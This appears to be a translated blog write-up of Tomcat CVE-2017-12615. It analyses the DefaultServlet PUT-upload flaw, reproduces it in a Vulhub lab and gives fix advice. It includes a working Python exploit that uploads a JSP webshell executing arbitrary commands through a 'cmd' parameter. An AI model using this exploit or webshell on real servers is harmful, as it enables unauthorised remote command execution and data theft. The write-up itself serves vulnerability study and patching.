[loophole recurrence] Tomcat CVE-2017-12615 (arbitrary file upload vulnerability)

Posted by drdapoo on Wed, 16 Feb 2022 08:29:08 +0100


preface

This article is only for security research and skill learning. It should not be used for unauthorized penetration attacks. Any consequences have nothing to do with the author of this article.

1, Vulnerability description

However, the vulnerable Tomcat runs on the Windows/Linux host, and the HTTP PUT request method is enabled (for example, the "readonly" initialization parameter is set to "false" by default). The attacker uploads the WebShell file containing JSP with arbitrary code to the server through a carefully constructed attack request packet, and the malicious code in the JSP file can be executed by the server, Cause data disclosure on the server or obtain server permissions.

2, Impact version

Apache Tomcat 7.0.0 - 7.0.81

3, Vulnerability analysis

Tomcat has two default servlets during processing, namely DefaultServlet and Jsp Servlet. The specific configuration is as follows:

<servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

......

 <servlet>
        <servlet-name>jsp</servlet-name>
        <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
        <init-param>
            <param-name>fork</param-name>
            <param-value>false</param-value>
        </init-param>
        <init-param>
            <param-name>xpoweredBy</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>3</load-on-startup>
    </servlet>

......

    <!-- The mapping for the default servlet -->
    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <!-- The mappings for the JSP servlet -->
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.jspx</url-pattern>
    </servlet-mapping>

You can see from the configuration file that the suffix is jsp and jspx requests are handled by the JspServlet, while other requests are handled by the DefaultServlet.

So when requesting / xxx JSP will be handled by JspServlet, and the vulnerability cannot be triggered; And request / xxx JSP / will bypass this restriction and leave it to the DefaultServlet, which can trigger the vulnerability.

To implement a Servlet, you need to inherit the HTTP Servlet. Find the HTTP Servlet file as / Tomcat / lib / Servlet API jar!/ javax/Servlet/http/HTTPServlet. class

Find the doPut method in the HTTP servlet, and then find the doPut method rewritten in the defaultservlet. The path is Tomcat / lib / Catalina jar!/ org/apache/catalina/servlets/DefaultServlet. class

View the doPut method of DefaultServlet

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    if (this.readOnly) {
        resp.sendError(403);
    } else {
        String path = this.getRelativePath(req);
        WebResource resource = this.resources.getResource(path);
        DefaultServlet.Range range = this.parseContentRange(req, resp);
        Object resourceInputStream = null;

        try {
            if (range != null) {
                File contentFile = this.executePartialPut(req, range, path);
                resourceInputStream = new FileInputStream(contentFile);
            } else {
                resourceInputStream = req.getInputStream();
            }

            if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
                if (resource.exists()) {
                    resp.setStatus(204);
                } else {
                    resp.setStatus(201);
                }
            } else {
                resp.sendError(409);
            }
        } finally {
            if (resourceInputStream != null) {
                try {
                    ((InputStream)resourceInputStream).close();
                } catch (IOException var13) {
                }
            }
        }
    }
}

From the second line of the above code, you can first judge whether readonly is true. If it is true, 403 is returned. Therefore, you can directly put the web Changing the readonly of DefaultServlet in XML from false to true can prevent this vulnerability.

Continue back to defaultservlet Class, in defaultservlet You can see a write function in class. The code of this write function can be traced to Tomcat / lib / Catalina jar!/ org/apache/catalina/webresources/DirResourceSet. Write function in class

public boolean write(String path, InputStream is, boolean overwrite) {
    this.checkPath(path);
    if (is == null) {
        throw new NullPointerException(sm.getString("dirResourceSet.writeNpe"));
    } else if (this.isReadOnly()) {
        return false;
    } else {
        File dest = null;
        String webAppMount = this.getWebAppMount();
        if (path.startsWith(webAppMount)) {
            dest = this.file(path.substring(webAppMount.length()), false);
            if (dest == null) {
                return false;
            } else if (dest.exists() && !overwrite) {
                return false;
            } else {
                try {
                    if (overwrite) {
                        Files.copy(is, dest.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
                    } else {
                        Files.copy(is, dest.toPath(), new CopyOption[0]);
                    }
                    return true;
                } catch (IOException var7) {
                    return false;
                }
            }
        } else {
            return false;
        }
    }
}

Execute to dest = this file(path.substring(webAppMount.length()), false); Path will be passed in as a parameter and the file method will be executed. The code of the file method is as follows

protected final File file(String name, boolean mustExist) {    if (name.equals("/")) {
        name = "";
    }
    File file = new File(this.fileBase, name);

File = new file (this. fileBase, name); When, a file object will be instantiated, and fileBase is the absolute path where the Web application is located.

The name here is the File name passed in, such as / xxx JSP /, which will be disposed of in the process of File instantiation, so / xxx JSP / will become / xxx jsp

Therefore, through the PUT request, use / xxx JSP / can achieve the purpose of uploading any file.

4, Local reproduction

Demo environment: Kali Linux
Vulnerability platform: Vulhub
This reproduction version: Tomcat 8.5.19

git clone https://github.com/vulhub/vulhub.git
cd /vulhub/tomcat/CVE-2017-12615
sudo docker-compose build
sudo docker-compose up -d


Additional: common docker commands

docker ps -a / / image query (the first column found is the ID value)
docker exec -it ID /bin/bash / / enter the specified image (enter according to the ID found in the previous item)
Docker compose down / / close the image (close after each use up)
Docker compose build / / recompile version related information
Docker compose up - D / / pull the image (after entering a specific directory in vulhub)

Visit the website and directly use PUT to initiate a request to upload any file, such as / tomcat12615 JSP / initiate request

The server returns 201 indicating that the creation is successful. Visit / tomcat12615 JSP can see that the file has been uploaded successfully
Using POC

Any download on github

import requests
import sys
import time

'''
Usage:
	python CVE-2017-12615.py http://127.0.0.1

	shell: http://127.0.0.1/tomcat12615.jsp?pwd=abc&cmd=id


'''

def attack(url):
	user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
	headers={"User-Agent":user_agent}
	data="""<%
    if("abc".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>"""
	try:
		requests.put(url, headers=headers, data=data)

		time.sleep(2)

		verify_response = requests.get(url[:-1], headers=headers)

		if verify_response.status_code == 200:
			print 'success!'
		else :
			print verify_response.status_code

	except :
		"error"

if __name__ == '__main__':
	target_url = sys.argv[1] + '/tomcat12615.jsp/'

	attack(target_url)
	print 'shell: ' + target_url[:-1]



Upload jsp Ma Bing scorpion connection

5, Repair suggestions

Disable HTTP PUT method

Upgrade Tomcat to a later version [8. X (above 8.5.19) or 9.x]

Topics: Java Tomcat security Web Security